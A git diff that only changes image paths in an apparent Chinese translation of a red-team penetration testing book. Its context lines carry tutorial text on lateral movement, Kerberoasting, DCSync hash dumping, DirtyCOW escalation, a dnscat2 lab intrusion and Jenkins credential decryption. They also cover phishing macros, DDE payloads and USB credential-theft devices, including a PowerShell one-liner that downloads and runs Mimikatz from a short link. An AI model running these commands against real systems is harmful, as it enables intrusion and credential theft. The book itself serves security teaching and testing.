-![](img/chapter_4/4-36.png) +![](img/4-36.png) ### 利用 DCOM 的横向移动 @@ -806,7 +806,7 @@ Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机 你可以使用 Powershell 命令列出计算机的所有 DCOM 应用程序:GetCimInstance Win32_DCOMApplication -![](img/chapter_4/4-37.png) +![](img/4-37.png) 安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ),有多个对象(例如 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上远程执行代码。当列出所有 DCOM 应用程序(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后,只要我们的帐户有权访问,我们就可以利用此功能在远程工作站上执行二进制文件。 @@ -818,11 +818,11 @@ Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机 $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”) -![](img/chapter_4/4-38.png) +![](img/4-38.png) 正如你在下一张图片中看到的,Buzz 的计算机上出现了一个关于运行 adobeupdate.exe 文件的弹出窗口。虽然大多数用户都会点击并运行这个,但它可能会让我们被目标察觉。 -![](img/chapter_4/4-39.png) +![](img/4-39.png) 因此,避免这个问题的更好方法是在使用 DCOM 执行该文件之前将该文件移到上面(类似于装载受害者的驱动器)。@Enigam0x3对此做得更进一步,并利用 Excel 宏来使用 DCOM。首先,我们需要在自己的系统上创建恶意 Excel 文档,然后使用 [PowerShell 脚本](https://bit.ly/2pzJ9GX)在受害者主机上执行此.xls 文件。 @@ -867,7 +867,7 @@ PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管 我们可以使用 Empire(credentials/mimikatz/pth)或者启动可信任的 psexec,提交我们的哈希,并执行我们的自定义 payload,如下图所示: -![](img/chapter_4/4-40.png) +![](img/4-40.png) 如前所述,这是一种现在少见的古老的横向移动方式。如果你仍在考虑利用本地管理员帐户,但所处的环境有 LAPS(本地管理员密码解决方案),你可以使用几个不同的将它们从 Active Directory 中转储出的工具。这假设你已经拥有一个域管理员或 Helpdesk 类型帐户的权限: @@ -898,12 +898,12 @@ PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管 - 当然,你也可以使用 powersploit 执行此操作: - https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/ -![](img/chapter_4/4-41.png) +![](img/4-41.png) 如果成功的话,我们已经将一个或多个不同的 Kerberos 票证导入到受害者计算机的内存中。我们现在需要一种方法来提取票据。我们可以使用好工具 Mimikatz Kerberos 导出: - powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2qx4kuH’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’ -![](img/chapter_4/4-42.png) +![](img/4-42.png) 一旦我们导出这些票证,它们将仍会驻留在受害者的机器上。在我们开始破解它们之前,我们必须从它们的系统中下载它们。请记住,票据是用服务帐户的 NTLM 哈希加密的。所以,如果我们能猜到 NTLM 哈希,我们就可以读取票据,现在也知道服务帐户的密码。破解账户最简单的方法是使用一个名为 tgsrepcrack 的工具(JTR 和 Hashcat 也支持破解 Kerberoast,稍后我们将讨论)。使用 Kerberoast 破解票证: @@ -911,7 +911,7 @@ PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管 - cd /opt/kerberoast - python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi] -![](img/chapter_4/4-43.png) +![](img/4-43.png) 在这个例子中,服务帐户 csk-github 的密码是“p@ssw0rd!” @@ -919,7 +919,7 @@ PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管 你可以用 John the Ripper 甚至 Hashcat 来破解密码并输出结果。我以前在非常大的网络环境中运行 PowerShell 脚本时遇到过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将所有的票据都获取下来。 -![](img/chapter_4/4-44.png) +![](img/4-44.png) ## 转储域控制器哈希 @@ -952,7 +952,7 @@ DCSync Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump -![](img/chapter_4/4-45.png) +![](img/4-45.png) 查看 DCSync hashdump,我们可以看到 Active Directory 中用户的所有 NTLM 哈希。此外,我们还有 krbtgt NTLM 哈希,这意味着我们现在(或在未来的活动中)可以执行 Golden Ticket attacks(黄金票据攻击)。 @@ -960,7 +960,7 @@ Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump 在当今世界,有了大量的新一代杀毒软件,在计算机之间横向运行 WMI/PowerShell Remoting/PSExec 并不总是最好的选择。我们还看到一些组织系统正在记录所有发生的 Windows 命令提示。为了解决这一切,我们有时需要回到基本的横向运动。使用 VPS 服务器的问题是,它只是一个没有 GUI 接口的 shell。因此,我们将配置路由和代理转发来自攻击者主机的流量,通过 VPS,然后再到被攻陷的主机,最后横向移动到下一个受害者。幸运的是,我们可以使用大部分本地工具完成任务。 -![](img/chapter_4/4-46.png) +![](img/4-46.png) 首先,我们需要设置一个 VPS 服务器,启用开放到公网的多个端口,用 PTH 配置 Metasploit,并用 Meterpreter 攻陷最初的受害者。我们也可以用 Cobalt Strike 或其他框架来实现这一点,但在本例中我们将使用 Meterpreter。 @@ -973,7 +973,7 @@ Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump - portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] 4. 在我们的攻击者机器上,打开我们的 Microsoft 远程桌面客户端,将你的连接设置为你自己的本地主机 -127.0.0.1,然后输入受害者的凭据以通过 RDP 进行连接。 -![](img/chapter_4/4-47.png) +![](img/4-47.png) ## 在 Linux 中横向移动 在 Linux 中的操作多年来变化不大。通常,如果你使用的是 dnscat2 或 Meterpreter,它们都支持自己的转发。 @@ -992,7 +992,7 @@ Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump - https://github.com/huntergregal/mimipenguin -![](img/chapter_4/4-48.png) +![](img/4-48.png) 一旦我们在被入侵的主机上获得了凭证,并且可以通过 SSH 反弹 shell,我们就可以通过这个隧道传输流量,并在机器之间进行数据隐藏。在 SSH 中,有一些很好的特性可以让我们执行这个操作过程: - 设置动态 Sock Proxy 以使用 proxychains 通过主机隐藏我们的所有流量: @@ -1010,7 +1010,7 @@ Linux 权限提升在很大程度上与 Windows 类似。我们寻找可以写 在我们进行任何类型的权限提升攻击之前,我首先要在 Linux 主机上进行一个良好的信息收集工作,并识别所有关于系统的信息。这包括用户、服务、定时任务、软件版本、弱信任对象、错误配置的文件权限,甚至是 Docker 信息。我们可以使用一个名为 LinEnum 的工具来为我们完成所有的累活( https://github.com/rebootuser/linenum )。 -![](img/chapter_4/4-49.png) +![](img/4-49.png) 这是一个非常长的报告,内容是你可能想要了解的关于底层系统的所有信息,这对于未来的活动来说是非常好的。 @@ -1018,7 +1018,7 @@ Linux 权限提升在很大程度上与 Windows 类似。我们寻找可以写 我们可以运行一个名为 [linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) 的工具来分析主机系统并识别缺失的补丁和漏洞。一旦识别出漏洞,该工具还将向你提供可用 PoC 漏洞的链接。 -![](img/chapter_4/4-50.png) +![](img/4-50.png) 现在,我们要利用什么呢?这就是经验和实践真正发挥作用的地方。在我的实验中,我将配置大量不同的 Linux 版本,以验证这些漏洞攻击不会使底层系统崩溃。在这个场景中,我最喜欢的一个漏洞是 DirtyCOW。 @@ -1084,7 +1084,7 @@ DirtyCOW 的工作原理是“在Linux内核的内存子系统处理写访问时 你注意到有三个设备正在运行,但只有一个设备启用了 Web 端口。看起来其他两个设备与安全网络之外是隔离的,这意味着我们必须首先入侵172.16.250.10设备才能转到其他两个服务器。访问第一个系统(172.16.250.10),你会看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会注意到 OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马想到了Equifax 数据泄露事件中黑客的攻击手法。你喜出望外,太好了,但你还是要检查一下。在 msfconsole 上运行一个快速搜索并测试漏洞 `struts2_content_type_ognl`。 -![](img/chapter_4/4-51.png) +![](img/4-51.png) 我们知道,CSK 会严格监控受保护的网络流量,其内部服务器可能不允许直接访问公司网络。为了解决这个问题,我们必须使用我们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通信。当然,在真实操作中,我们可能会使用权威的 DNS 服务器,但仅针对本地测试的话,我们将配置自己的 DNS 服务器。 @@ -1099,7 +1099,7 @@ DirtyCOW 的工作原理是“在Linux内核的内存子系统处理写访问时 - ruby ./dnscat2.rb - 为 dnscat 记录你的密钥 -![](img/chapter_4/4-52.png) +![](img/4-52.png) - 打开新终端并加载 Metasploit - msfconsole @@ -1115,7 +1115,7 @@ DirtyCOW 的工作原理是“在Linux内核的内存子系统处理写访问时 - run - 一旦 payload 执行,你将不会在 Metasploit 中得到任何确认,因为我们使用了 dnscat 的 payload。你需要检查你的 dnscat 服务器是否有任何使用 DNS 流量的连接。 -![](img/chapter_4/4-53.png) +![](img/4-53.png) - 回到 dnscat2服务器上,检查新执行的 payload 并创建一个 shell 终端。 - 与第一个 payload 进行交互 @@ -1129,14 +1129,14 @@ DirtyCOW 的工作原理是“在Linux内核的内存子系统处理写访问时 - 键入 shell 命令 - ls -![](img/chapter_4/4-54.png) +![](img/4-54.png) 你已经入侵了 OpenCMS/Apache Struts 服务器!现在要做什么?你需要花一些时间检查服务器并寻找有趣的信息。你想起来服务器正在运行 OpenCMS Web 应用程序,并确定该应用程序是在 /opt/tomcat/webapps/kittens 下配置的。在查看 OpenCMS 属性的配置文件时,我们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。 检索数据库信息: - cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties -![](img/chapter_4/4-55.png) +![](img/4-55.png) 我们成功连接到数据库了,但看不到太多信息。这是因为我们目前是一个有限的 Tomcat 用户,这确实阻碍了我们的攻击。因此,我们需要找到一种提权的方法。在服务器上运行 post exploitation reconnaissance(uname -a && lsb_release -a),你可以识别出这是一个非常旧的 Ubuntu 版本。幸运的是,此服务器容易受到权限提升漏洞 DirtyCOW 的攻击。让我们创建一个 DirtyCOW 二进制文件并转到根目录! @@ -1151,7 +1151,7 @@ Escalation 提升 dnscat 权限: - echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn - whoami -![](img/chapter_4/4-56.png) +![](img/4-56.png) 注意:DirtyCOW 不是一个非常稳定的提权方法。如果你对漏洞利用过程有问题,请查看我的 Github 页面,在这里了解创建 setuid 二进制文件的更稳定的过程: @@ -1164,7 +1164,7 @@ Escalation 提升 dnscat 权限: - head ~/.ssh/id_rsa - ssh -i ~/.ssh/id_rsa root@172.16.250.30 -![](img/chapter_4/4-57.png) +![](img/4-57.png) 你花了一些时间在第二个系统上,试着理解它的用途。在四处搜索时,你注意到在 /home 目录中有一个 Jenkins 用户,它引导你识别在端口8080上运行的 Jenkins 服务。我们如何使用浏览器查看 Jenkins 服务器上的内容?这就是 dnscat 的端口转发功能发挥作用的地方。我们需要退出最初的shell,去命令终端。从那里,我们需要设置一个监听器,通过 dnscat 将我们的流量从攻击者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。 @@ -1178,11 +1178,11 @@ Escalation 提升 dnscat 权限: - 在你的 Kali 虚拟机上,使用我们的端口转发代理打开浏览器并打开下面的地址(这将比 dns 慢一些): - http://127.0.0.1:8080/jenkins -![](img/chapter_4/4-58.png) +![](img/4-58.png) 在 Jenkins 应用程序内的凭证管理器内部,我们将看到 db_backup 用户密码已存储,但不可见。 我们需要弄清楚如何从 Jenkins 中获取此凭据,以便我们可以继续横向移动。 -![](img/chapter_4/4-59.png) +![](img/4-59.png) n00py 对 Jenkins 中存储的凭据以及如何提取它们做了一些很好的研究( http://bit.ly/2GUIN9s )。 我们可以使用现有的 shell 来利用此攻击并获取 credentials.xml,master.key 和 hudson.util.Secret 文件。 @@ -1204,7 +1204,7 @@ n00py 对 Jenkins 中存储的凭据以及如何提取它们做了一些很好 - 使用 https://github.com/cheetz/jenkins-decrypt 解密密码 - python3 ./decrypt.py master.key hudson.util.Secret credentials.xml -![](img/chapter_4/4-60.png) +![](img/4-60.png) 我们能够成功解密 db_backup 用户的密码 `)uDvra{4UL^;r?*h`。如果我们回顾一下之前的注释,我们会在 OpenCMS 属性文件中看到数据库服务器位于 172.16.250.50。看起来这个 Jenkins 服务器出于某种原因会对数据库服务器执行某种备份。让我们检查一下我们是否可以获取 db_backup 的凭据:利用 `)uDvra{4UL^;r?*h` 通过 SSH 登录数据库服务器。唯一的问题是通过我们的 dnscat shell,我们没有直接按标准输入(STDIN)来与 SSH 的密码提示进行交互。 因此,我们将不得不再次使用我们的端口将我们的 SSH shell 从 Kali 虚拟机通过 dnscat 代理传递到数据库服务器(172.16.250.50)。 @@ -1214,17 +1214,17 @@ n00py 对 Jenkins 中存储的凭据以及如何提取它们做了一些很好 - 创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库服务器 - listen 127.0.0.1:2222 172.16.250.50:22 -![](img/chapter_4/4-61.png) +![](img/4-61.png) 一旦使用 db_backup 帐户进入数据库服务器(172.16.250.50),我们会注意到此帐户是 sudoers 文件的一部分,并且可以 sudo su 到 root。 一旦 root 在数据库服务器上,我们将四处寻找也找不到任何访问数据库的凭据。我们可以重置 root 数据库密码,但最终可能会破坏其他一些应用程序。相反,我们搜索位于/var/lib/mysql 下的不同数据库,并发现 cyberspacekittens 数据库。在这里,我们找到 secrets.ibd 文件,其中包含 secrets 表的所有数据。在我们阅读数据时,我们意识到它可能是加密的...由你来执行剩下的操作... -![](img/chapter_4/4-62.png) +![](img/4-62.png) 恭喜!!!你已成功入侵 Cyber Space Kittens 网络! 不要止步于此...你可以用这些系统做很多事情;我们现在只触及了表面。随意在被入侵的系统上翻阅,找到更敏感的文件,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示: -![](img/chapter_4/4-63.png) +![](img/4-63.png) ## 本章总结 在本章中,我们经历了入侵网络的一系列操作。 我们开始在外部网络上没有任何凭据或利用社会工程的方式入侵到我们的第一个受害者系统。从那里开始,我们能够利用目标系统本身的应用程序,获取有关网络和主机系统的信息,横向移动,权限提升,并最终攻陷整个网络。这一切都是建立在最少程度的扫描,利用网络特性,并试图逃避所有检测机制之上完成的。 diff --git a/docs/hacker-playbook-3/5_the_screen_social_engineering.md b/docs/hacker-playbook-3/5_the_screen_social_engineering.md index 1d56a682d84e67f4548d6be6284730ef1118b3ba..d672af4464ef645686414fd0d04ab65f305a8462 100644 --- a/docs/hacker-playbook-3/5_the_screen_social_engineering.md +++ b/docs/hacker-playbook-3/5_the_screen_social_engineering.md @@ -2,7 +2,7 @@ > 译者:[@Snowming](https://github.com/Snowming04) -![](img/chapter_5/5-1.png) +![](img/5-1.png) ## 开始社会工程学攻击行动 作为红队队员,我们钟爱社会工程学攻击。不仅因为它通常包含低技能攻击,而且因为它也很容易以非常低的成本来策划一场值得我们高度信赖的战役。只需设置几个假域名、服务器、策划一些电子邮件、假装丢掉一些 bad USB,然后就可以结束一天的工作了。 @@ -62,7 +62,7 @@ Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社 如下图所示,我们现在应该有一个经过身份验证了的会话来绕过双因素验证。虽然 ReelPuish 看起来很像是支持 Linux ,但我在 Kali 中运行它时遇到了一些问题。所以最好是在 Windows 中运行 ReelPuish。你可以在 FireEye 公司的网站上找到更多关于 ReelPhish 的信息: https://www.fireeye.com/blog/threat-research/2018/02/reelphish-real-time-two-factor-phishing-tool.html 。 -![](img/chapter_5/5-2.png) +![](img/5-2.png) 还有一些其他工具可以处理不同的双因素验证绕过的情境: - https://github.com/kgretzky/evilginx @@ -104,27 +104,27 @@ Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社 一旦生成成功,你的 payload 将如下所示: -![](img/chapter_5/5-3.png) +![](img/5-3.png) 如你所见,这是运行一个简单的 PowerShell base64 混淆脚本。这可以帮助解决绕过一些杀毒软件,但重要的是要确保在进行实时入侵操作之前对其进行测试。生成宏后,你可以快速创建一个 Excel 文档: - 打开 Excel - 转到视图选项卡(View Tab) - >宏 - >查看宏 - 添加一个宏名称,为 book1 配置宏,然后单击 “创建” -![](img/chapter_5/5-4.png) +![](img/5-4.png) - 用生成的代码替换所有当前的宏代码 - 另存为 .xls(Word 97-2003)或 Excel Macro-Enabled 格式的文件 -![](img/chapter_5/5-5.png) +![](img/5-5.png) 现在,每当有人打开你的文档时,他们都会收到安全警告并看到一个启用内容的按钮。 如果你可以诱导受害者点击“启用内容”的按钮,那么你的 PowerShell 脚本将会被执行,这会弹给你一个 Empire Shell 。 -![](img/chapter_5/5-6.png) +![](img/5-6.png) 如前所述,宏文件方法是一种久经考验的旧方法,因此很多受害者已经对这种攻击有了一定的认识。利用 Office 文件的另一种思路是将我们的 payload 嵌入一个批处理文件(.bat)。但在较新版本的 Office 中,如果受害者双击 Word 文档中的 .bat 文件,对象则不会被执行。我们通常不得不试图诱导受害者使其将 .bat 文件移动到桌面并执行。 -![](img/chapter_5/5-7.png) +![](img/5-7.png) 我们可以用 [LuckyStrike](https://github.com/curi0usJack/luckystrike) 来以更自动化的方式完成此操作。通过使用 LuckyStrike,我们可以在工作表中使用 Payload 创建 Excel 文档,甚至可以在 Excel 文档中存储完整的可执行文件(exe),这些文件可以用 ReflectivePE 来触发从而在内存中运行。阅读更多关于 LuckyStrike 的内容: - https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator @@ -133,7 +133,7 @@ Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社 VBad 会严重混淆 MS Office 文档中的 payload。它还增加了加密功能,用假密钥来迷惑应急响应团队。最重要的是,它可以在第一次成功运行后销毁加密密钥(VBad 是一个一次性使用的恶意软件)。另一个特性是 VBad 也可以销毁对包含有效 payload 的模块的引用,以使其从 VBA 开发者工具中不可见。这使得分析和排除故障变得更加困难。因此,不仅很难去逆向,而且如果应急响应团队尝试分析执行的 Word 文档与原始文档,则所有密钥都将丢失。 -![](img/chapter_5/5-8.png) +![](img/5-8.png) ### 非宏的 Office 文件 —— DDE 有时候红队攻击也是一场与时间赛跑的游戏,虽然有些可以利用的易受攻击模块效果很好,但是如果时间久了,一些杀毒软件或者安全软件已经包含了检测的策略,那么也很难利用,所以有时候一些新发现的漏洞是更好利用的。在我们的一次评估中,首次公布了一个名为 DDE 的全新易受攻击模块。杀毒软件或任何安全产品还尚未检测到它,因此这是获得我们初始入口点的好方法。 虽然现在有几种安全产品可以检测 DDE ,但在某些环境中它仍然可能是一种可行的攻击。 @@ -151,13 +151,13 @@ Sensepost 的团队做了一些很棒的研究,发现 MSExcel 和 MSWord 都 DDEAUTO c:\windows\system32\cmd.exe “/k powershell.exe [empire payload here]” ``` -![](img/chapter_5/5-9.png) +![](img/5-9.png) Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell 脚本。 此 stager 可以通过以下方式配置: - usestager windows/macroless_msword -![](img/chapter_5/5-10.png) +![](img/5-10.png) 资源: - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ @@ -171,7 +171,7 @@ Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell - cd /op/EmbedInHTML - python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w -![](img/chapter_5/5-11.png) +![](img/5-11.png) 一旦受害者访问恶意站点,弹出的窗口会提示受害者在 Excel 中打开我们的`.xll`文件。不幸的是,对于最新版本的 Excel(除非配置错误),用户需要启用加载项来执行我们的 payload 。这就需要使用你在前面学到的社会工程学技巧了。 @@ -181,7 +181,7 @@ Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell ## 利用社会工程学攻破内网 Jenkins 作为红队队员,攻击的创造性使我们的工作非常令人兴奋。我们喜欢利用旧的漏洞利用并再次使它们焕然一新。例如,如果你一直在进行网络评估,你就会知道,如果遇到未经身份验证的 Jenkins 应用程序(开发人员大量使用它进行持续集成),这几乎意味着它完全敞开在你的面前。这是因为 Jenkins 具有允许 Groovy 脚本执行测试的 “特性”。利用这个脚本控制台,我们可以使用允许 shell 访问底层系统的执行命令。 -![](img/chapter_5/5-12.png) +![](img/5-12.png) 这种方法在入侵方面变得如此受欢迎的原因是几乎每家大公司都有一些 Jenkins 实例。如果想要从外部进行攻击,就会存在一个问题:这些 Jenkins 服务都是内部托管的,无法从外部访问。 @@ -201,7 +201,7 @@ Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell - 在这种情况下,我们下载的加密可执行文件是 Meterpreter payload。 - Meterpreter 在 Jenkins 服务器上执行,然后连接到我们的攻击者 Meterpreter 服务器。 -![](img/chapter_5/5-13.png) +![](img/5-13.png) *注意:最新版本的 Jenkins 中不存在此漏洞。 2.x 之前的版本在默认情况下是易受攻击的,因为它们未启用 CSRF 保护(允许对脚本进行无验证调用),并且未启用身份验证。* @@ -242,11 +242,11 @@ mv badware.html /var/www/html/ mv badware.exe.encrypted /var/www/html/ ``` -![](img/chapter_5/5-14.png) +![](img/5-14.png) 现在,在完全不同的系统上,你可以使用 Chrome 或 Firefox 浏览器访问你的攻击者网页:http:///badware.html 。只需访问该恶意页面,你的浏览器就会通过我们的 Groovy payload,使用 JavaScript 和 POST 请求对你的内部 /24 网络经由8080端口进行攻击。当它找到一个 Jenkins 服务器时,它将导致该服务器下载我们的加密 Meterpreter ,解密并执行它。在公司网络中,你最终可能会得到大量不同的 shell 。 -![](img/chapter_5/5-15.png) +![](img/5-15.png) 任何允许通过 GET 或 POST HTTP 方法进行未经身份验证的代码执行的场景都可以使用此种攻击手法。对于此类攻击,你需要确定受害者在内部使用哪些应用程序并制定你的恶意攻击。 diff --git a/docs/hacker-playbook-3/6_the_onside_kick_physical_attacks.md b/docs/hacker-playbook-3/6_the_onside_kick_physical_attacks.md index 6c73565152ab1879d4c8c3aa3885bc03d286ac69..aa4c571bd070521a559b21833f5808082219ef97 100644 --- a/docs/hacker-playbook-3/6_the_onside_kick_physical_attacks.md +++ b/docs/hacker-playbook-3/6_the_onside_kick_physical_attacks.md @@ -2,7 +2,7 @@ > 译者:[@Snowming](https://github.com/Snowming04) -![](img/chapter_6/6-1.png) +![](img/6-1.png) 作为安全评估的一部分,CSK 要求你的团队对基础设施进行物理评估。这就需要检查他们的门和安保设施是否合格。在得到了授权的前提下可以进行现场测试,以确定他们警卫的反应和响应时间。 @@ -16,7 +16,7 @@ 上一版书里,我提到了我很喜欢复制 ProxCard Ⅱ 卡,因为它们没有任何保护措施,所以易于克隆。并且 ProxCard Ⅱ 卡一般都可以成批购买,用来暴力破解,简直再方便不过。破解的过程都是基于 Proxmark3 工具完成的。现在,它发布了一个主打便携的新型号,叫 [Proxmark3 RDV2 Kit](http://hackerwarehouse.com/product/proxmark3-rdv2-kit/)。新版的可插电池用,并且体积也小巧很多。 -![](img/chapter_6/6-2.png) +![](img/6-2.png) 还有一些常见的可供破解的卡: - HID iClass (13.56 MHz) @@ -53,9 +53,9 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络 是这样的,因为 LAN Turtle 会被插入入侵目标组织内网中的某个台式机的后面,所以我们不能直接连接到它。因此,我们将让 LAN Turtle 首先通过端口 443 外连到 VPN,然后作为服务器返回到我们的 OpenVPN 。从我们用来做攻击的 Kali 机器中,我们也必须登录进 VPN 服务器。一旦 LAN Turtle 和我们的攻击者机器都通过VPN 连接到我们的服务器中,我们就可以把流量从 LAN Turtle 转发到攻击机器来进行扫描或漏洞利用。 -![](img/chapter_6/6-3.png) +![](img/6-3.png) -![](img/chapter_6/6-4.png) +![](img/6-4.png) 虽然 OpenVPN 反向代理通道不是什么新技术,但 Hak5 的团队在整合教程方面做得非常好。我不得不修改了以下一些命令,如果你想了解更多,请观看他们的 YouTube 视频:https://www.youtube.com/watch?v=b7qr0laM8kA 。 @@ -118,7 +118,7 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络 * 所有服务端私有子网 * 所有其他的 VPN 客户端 -![](img/chapter_6/6-5.png) +![](img/6-5.png) 下载 OpenVPN 配置文件: * 连接下载配置文件: @@ -129,7 +129,7 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络 设置 LAN Turtle 和初始配置: -![](img/chapter_6/6-6.png) +![](img/6-6.png) * 插入 USB 并且自动连入网络 * nmap 扫描本地 22 端口 @@ -178,11 +178,11 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络 * 保存并更新 * 通过 LAN Turtle 上的 SSH 连接,使用 `reboot` 命令重启 -![](img/chapter_6/6-7.png) +![](img/6-7.png) 现在,我们可以让攻击机透过在 LAN Turtle 上架设的 VPN 通道,将我们的所有流量传输到受害者公司内网。在下图中,我们登录进入 VPN 服务器,扫描 LAN Turtle 的范围为 10.100.100.0/24 的内部网络。我们可以看到,我们已经成功地配置了从 VPN 网关通过 LAN Turtle 到公司网络的路由传输。现在,在 Kali 攻击机上面,可以运行完整的漏洞扫描、网络抓取、Masscans 扫描甚至更多其他操作。 -![](img/chapter_6/6-8.png) +![](img/6-8.png) 好的!现在你有了一个快速插入的设备,它让你与受害者网络保持全局连接。为了做的更好,还可以完善一下: * 设置一个每天重启设备的定时任务。VPN 隧道连接可能会断开,但每当 LAN Turtle 重新启动时,VPN 连接会重新启动。 @@ -192,7 +192,7 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络 ## Packet Squirrel Packet Squirrel 使用 Micro-USB 接口充电,但是并非是通过 USB 接口那一端插入有线 USB 网卡,Packet Squirrel 两端都接网线,这是另一种捕获流量或创建 VPN 连接的方式。 -![](img/chapter_6/6-9.png) +![](img/6-9.png) 配置 Packet Squirrel 的方法和 LAN Turtle 差不多; * 编辑 /root/payloads/switch3/payload.sh @@ -252,7 +252,7 @@ Guided Mode(所以选项都保留默认值) * 在 Bash Bunny 上,打开开关1(离 USB 插孔最远的那个开关)上,然后插入。完成后,请确保连接到 Bash Bunny,在那里你可以看到 Cloud <-> Laptop <-> Bunny image * 在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny -![](img/chapter_6/6-10.png) +![](img/6-10.png) 登陆进入你的 Bash Bunny * 在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny @@ -282,7 +282,7 @@ cp -R /opt/bashbunnypayloads/payloads/library/credentials/QuickCreds/* /media/ro QuickCreds 是一个很棒的工具,它使用 Responder 攻击从锁定和未锁定的机器上捕获 NTLMv2 Challenge 哈希。假设你在做一次物理评估,为此你闯进一栋大楼,碰到了一堆锁着的机器。你使用 QuickCreds 的开关插入 Bash Bunny ,每台机器等待大约 2 分钟。Bash Bunny 将接管网络适配器,使用 Response 重新传输任何共享和身份验证请求,然后记录这些数据。它将所有凭证保存到 USB 磁盘上的 loot 文件夹中。 > 译者注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:[Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 介绍](https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/) -![](img/chapter_6/6-11.png) +![](img/6-11.png) 参考资料: * https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/QuickCreds @@ -301,7 +301,7 @@ BunnyTap 基于由 Samy Kamkar 开发的知名工具 PoisonTap ( https://www.you 从一次物理评估的角度来看,你进入他们的办公室,在每台机器上插上 Bash Bunny,然后等待大约2分钟。Bash Bunny 会让电脑中的所有流量都走 Bash Bunny 转发。如果他们有一个打开并且活动的浏览器(如广告或任何定期更新的页面),BunnyTap 将启动并向所有 Alexa Top 100,0000 网站发出请求。此时,受害者用户若登录到这些站点中的任何一个,BunnyTap 将捕获受害者的所有 cookie。现在,我们可以将这些 cookie 发回到自己的计算机上,把我们的 cookie 替换成他们的,这样即可在不知道他们密码的情况下,冒充他们的身份进入网站。 -![](img/chapter_6/6-12.png) +![](img/6-12.png) 请务必查看所有 Bash Bunny 的 payload: * https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library @@ -309,11 +309,11 @@ BunnyTap 基于由 Samy Kamkar 开发的知名工具 PoisonTap ( https://www.you ## WiFi WiFi 攻击方面,我们攻击受害者的方式没有什么大变化。虽然 WEP 加密网络的使用显著减少,但攻击方式仍包括反认证、aireplay-ng 和捕获 IV 数据包。对于 WPA 无线网络,最好的攻击手段,依旧是对客户端进行反认证 、捕获握手包、将其传递给 hashcat 对密码进行破解。以上这几种方法屡试不爽。工具方面,我最爱的工具是 [Wifite2 的完全重写的版本](https://github.com/derv82/wifite2),这个新版本带有一个 Alfa AWUS036NHA 无线网卡。这是一个非常易于使用的接口,可以支持多种攻击,基于 aircrack 工具套装,令它可以很容易地破解捕获的哈希值。 -![](img/chapter_6/6-13.png) +![](img/6-13.png) 关于发动 WiFi 攻击的装备,除了使用一对 Alfa 无线网卡,执行更加隐蔽的 WiFi 攻击的简单方法是使用 [WiFi Pineapple Nano](https://www.wifipineapple.com/pages/nano)。如果你想建立一个假的主无线接入点,通过天线改变他们流量的通信路径,用伪造页面捕获身份验证,执行所有的中间人攻击,运行 Responder 和其他攻击的话,WiFi Pineapple Nano 是一个能执行此操作的轻量级硬件工具。 -![](img/chapter_6/6-14.png) +![](img/6-14.png) 除了 Pineapple,还有其他一些工具可以用来攻击公司网络。其中一个就是 [eaphammer](https://github.com/s0lst1c3/eaphammer)。 diff 